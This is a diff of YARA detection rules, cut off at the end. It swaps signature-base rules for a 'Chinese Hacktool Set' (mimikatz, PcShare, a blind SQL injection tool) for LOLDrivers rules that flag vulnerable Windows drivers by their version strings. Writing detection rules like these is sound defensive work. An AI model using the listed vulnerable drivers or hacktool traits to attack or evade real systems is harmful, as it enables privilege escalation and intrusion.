-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
+		author = "Florian Roth"
+		id = "326a5e40-0706-5daf-b1a5-8bcff8b3fcae"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9272-L9290"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ca34f945117ec853a713183fa4e8cf85ea0c2c49ca26e73d869fee021f7b491d"
+		logic_hash = "20276f0c10cef963957e6f868643166567862b89124d96371b80dfe217eab4b6"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Bienvenue dans un processus distant" fullword wide
-		$s2 = "klock.dll" fullword ascii
-		$s3 = "Erreur : le bureau courant (" wide
-		$s4 = "klock de mimikatz pour Windows" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00760032002e003000200028003200300030003600300038003000380029 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c00200058005400690065007200200066006f0072002000570069006e0064006f00770073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200031003900390037002d00320030003000370020004e006f00760065006c006c002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <907KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Dos_Down32 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Razerinc_Rzpnk_Rzpnk_46D1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file Down32.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e56c254d-1238-5786-8e8a-f9122b0310a9"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L493-L508"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0365738acd728021b0ea2967c867f1014fd7dd75"
-		logic_hash = "c1aaaaaaae2ea720d3fc1516d88d678895bcda81344e8c1f4f57e5a20e770123"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rzpnk.sys"
+		author = "Florian Roth"
+		id = "af2cb913-c98c-5d29-9822-095df2e8c270"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9293-L9315"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "46d1dc89cc5fa327e7adf3e3d6d498657240772b85548c17d2e356aac193dd28"
+		hash = "dafa4459d88a8ab738b003b70953e0780f6b8f09344ce3cd631af70c78310b53"
+		hash = "4c2d2122ef7a100e1651f2ec50528c0d1a2b8a71c075461f0dc58a1aca36bc61"
+		hash = "d59cc3765a2a9fa510273dded5a9f9ac5190f1edf24a00ffd6a1bbd1cb34c757"
+		logic_hash = "58fde74c3e542d3c0c05f60c92592cf5f9a3b217c0e3d3daf484e91684201564"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "C:\\Windows\\Temp\\Cmd.txt" fullword wide
-		$s6 = "down.exe" fullword wide
-		$s15 = "get_Form1" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520061007a006500720020004f007600650072006c0061007900200053007500700070006f00720074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520061007a00650072002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310032002e00310030003200300031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310032002e00310030003200300031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0052007a0070006e006b }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0052007a0070006e006b }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0052007a0070006e006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310030002d0032003000310038002e002000520061007a00650072002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <137KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Marathontool_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Corsairmemoryinc_Corsairllaccess_Corsairllaccess_A334 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file MarathonTool.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "20151673-6779-58ce-872c-81e74a96597d"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L510-L525"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "75b5d25cdaa6a035981e5a33198fef0117c27c9c"
-		logic_hash = "7581b63a7bddeac93c65b2943b9f5f568464d8f300bc7385ca73880996bd390b"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CorsairLLAccess64.sys"
+		author = "Florian Roth"
+		id = "50cf8320-c182-5f59-b2a7-750c618312bf"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9318-L9338"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "a334bdf0c0ab07803380eb6ef83eefe7c147d6962595dd9c943a6a76f2200b0d"
+		hash = "000547560fea0dd4b477eb28bf781ea67bf83c748945ce8923f90fdd14eb7a4b"
+		logic_hash = "881222a52349787251b723640a42b468e4d3f8ee614329de61d7816b00beb9ff"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "http://localhost/retomysql/pista.aspx?id_pista=1" fullword wide
-		$s6 = "SELECT ASCII(SUBSTR(username,{0},1)) FROM USER_USERS" fullword wide
-		$s17 = "/Blind SQL injection tool based in heavy queries" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310038002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310038002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e002000280063002900200032003000310039002c00200041006c006c0020007200690067006800740073002000720065007300650072007600650064 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Scanms_Scanms : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_1C12 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file scanms.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "50393220-35ae-5d3b-ae3f-5d5eb036c043"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L527-L544"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "47787dee6ddea2cb44ff27b6a5fd729273cea51a"
-		logic_hash = "d6b33e603953194dab67104cbb9649710515050cf73afb18b2c9083a9e228e6d"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "14390895-6fae-5e00-9d0d-76347782873c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9341-L9360"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1c1251784e6f61525d0082882a969cb8a0c5d5359be22f5a73e3b0cd38b51687"
+		logic_hash = "d8f6326a34caddc2c91ac47e57ed022086bea7122203f166cd5e3176c369a3e4"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "--- ScanMs Tool --- (c) 2003 Internet Security Systems ---" fullword ascii
-		$s2 = "Scans for systems vulnerable to MS03-026 vuln" fullword ascii
-		$s3 = "More accurate for WinXP/Win2k, less accurate for WinNT" fullword ascii
-		$s4 = "added %d.%d.%d.%d-%d.%d.%d.%d" fullword ascii
-		$s5 = "Internet Explorer 1.0" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003100320034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and 3 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_CN_Tools_Pcshare : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroaegis_4BC0 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file PcShare.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0c4e9f9b-9839-56a0-be21-a4e9f19cdfdb"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L546-L565"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ee7ba9784fae413d644cdf5a093bd93b73537652"
-		logic_hash = "57bd1629abe0af1345f505514b99deb4e63ebce7363f3b0abcb76e7201d9b7b7"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "da911735-e7b3-5721-8254-958f25b0efa1"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9363-L9382"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "4bc0921ffd4acc865525d3faf98961e8decc5aec4974552cbbf2ae8d5a569de4"
+		logic_hash = "1f138a336f979f9a4a75796cdd6cab5716a17f1ded02350db64a6ec618c7a1dd"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "title=%s%s-%s;id=%s;hwnd=%d;mainhwnd=%d;mainprocess=%d;cmd=%d;" fullword wide
-		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)" fullword wide
-		$s2 = "http://www.pcshares.cn/pcshare200/lostpass.asp" fullword wide
-		$s5 = "port=%s;name=%s;pass=%s;" fullword wide
-		$s16 = "%s\\ini\\*.dat" fullword wide
-		$s17 = "pcinit.exe" fullword wide
-		$s18 = "http://www.pcshare.cn" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e00320030002e0030002e0031003000310032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e00320030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f002000410045004700490053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003100300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <6000KB and 3 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Pw_Inspector : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Iobitinformationtechnology_Iobitunlockersys_Unlocker_F85C : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file pw-inspector.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "888db647-c5d0-5b1b-bcd2-512c1ebeadea"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L567-L582"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4f8e3e101098fc3da65ed06117b3cb73c0a66215"
-		logic_hash = "3b54466d80692923b93689a9e43e30dfbc63e5982cb633120795817098d68e05"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iobitunlocker.sys"
+		author = "Florian Roth"
+		id = "a9cbfdc3-6c84-5c6f-98a9-8cf77cc32d9d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9385-L9404"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f85cca4badff17d1aa90752153ccec77a68ad282b69e3985fdc4743eaea85004"
+		logic_hash = "1a7df58e346f6ae2224163302bbc14815c6d612c1414b59663d3d9f730925499"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "-m MINLEN  minimum length of a valid password" fullword ascii
-		$s2 = "http://www.thc.org" fullword ascii
-		$s3 = "Use for hacking: trim your dictionary file to the pw requirements of the target." fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0055006e006c006f0063006b006500720020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049004f00620069007400200049006e0066006f0072006d006100740069006f006e00200054006500630068006e006f006c006f00670079 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0030002e00310030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0030002e00310030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049004f0062006900740055006e006c006f0063006b00650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0055006e006c006f0063006b00650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0049004f0062006900740055006e006c006f0063006b00650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200049004f006200690074002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <460KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Dll_Loadex : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtierforwindows_V_C190 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file Dll_LoadEx.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "51235448-751e-51ce-93f8-da48eddb2b7f"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L584-L603"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "213d9d0afb22fe723ff570cf69ff8cdb33ada150"
-		logic_hash = "588f4f4d0a2f8f8e76de0a5b1217191c1cace69f934582d4fc3c974fb94b8c3e"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
+		author = "Florian Roth"
+		id = "9a9903d6-bdab-5694-9e26-66a797e299d5"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9407-L9425"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "c190e4a7f1781ec9fa8c17506b4745a1369dcdf174ce07f85de1a66cf4b5ed8a"
+		logic_hash = "44017c1fab02aec40335b310646d9760ce4db2da785d08a430442a5afe9d4887"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "WiNrOOt@126.com" fullword wide
-		$s1 = "Dll_LoadEx.EXE" fullword wide
-		$s3 = "You Already Loaded This DLL ! :(" ascii
-		$s10 = "Dll_LoadEx Microsoft " fullword wide
-		$s17 = "Can't Load This Dll ! :(" ascii
-		$s18 = "WiNrOOt" fullword wide
-		$s20 = " Dll_LoadEx(&A)..." fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c0020005800540043004f004d0020005300650072007600690063006500730020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0035002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00760033002e0031002e003500200028003200300030003600300038003200380029 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c00200058005400690065007200200066006f0072002000570069006e0064006f00770073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200031003900390037002d00320030003000370020004e006f00760065006c006c002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <120KB and 3 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Dat_Report : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_9B6A : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file report.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c77633a7-0c2f-5efa-b58b-635546bfec95"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L605-L619"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4582a7c1d499bb96dad8e9b227e9d5de9becdfc2"
-		logic_hash = "e3b21f37fae388958758af535727844d6e9696862fd9968340e1a619592c53b6"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		id = "8fc2f891-9898-551b-8a21-5222af319764"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9428-L9447"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9b6a84f7c40ea51c38cc4d2e93efb3375e9d98d4894a85941190d94fbe73a4e4"
+		logic_hash = "beca5e85d2b29d6a37e9d783facf37bb375095ae5d47a8a2eff663afbc22ffc3"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<a href=\"http://www.xfocus.net\">X-Scan</a>" fullword ascii
-		$s2 = "REPORT-ANALYSIS-OF-HOST" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00320037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00320037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310039 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <480KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Dos_Iis7 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_7D43 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file iis7.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8813b7a2-0d44-5f26-80ab-0f493c09a027"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L621-L638"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0a173c5ece2fd4ac8ecf9510e48e95f43ab68978"
-		logic_hash = "e0cbcb63cd2a542e6394792070392d393b2a3485f5a5ef3c6ba0f113ae9270ec"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "6c041a1a-b6f2-50f1-a079-1a4abc0c1f37"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9450-L9469"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7d43769b353d63093228a59eb19bba87ce6b552d7e1a99bf34a54eee641aa0ea"
+		logic_hash = "5c3addc4d27338e1ed76b65327198acef97969b13e6ac8284153fcc1fd992b4d"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\\\\localhost" fullword ascii
-		$s1 = "iis.run" fullword ascii
-		$s3 = ">Could not connecto %s" fullword ascii
-		$s5 = "WHOAMI" ascii
-		$s13 = "WinSta0\\Default" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310037002e0039002e0033003700360031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310037002e0039002e0033003700360031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310034002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <140KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Switchsniffer : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Ngiodriversys_Avastng_7337 : FILE
 {
 	meta:
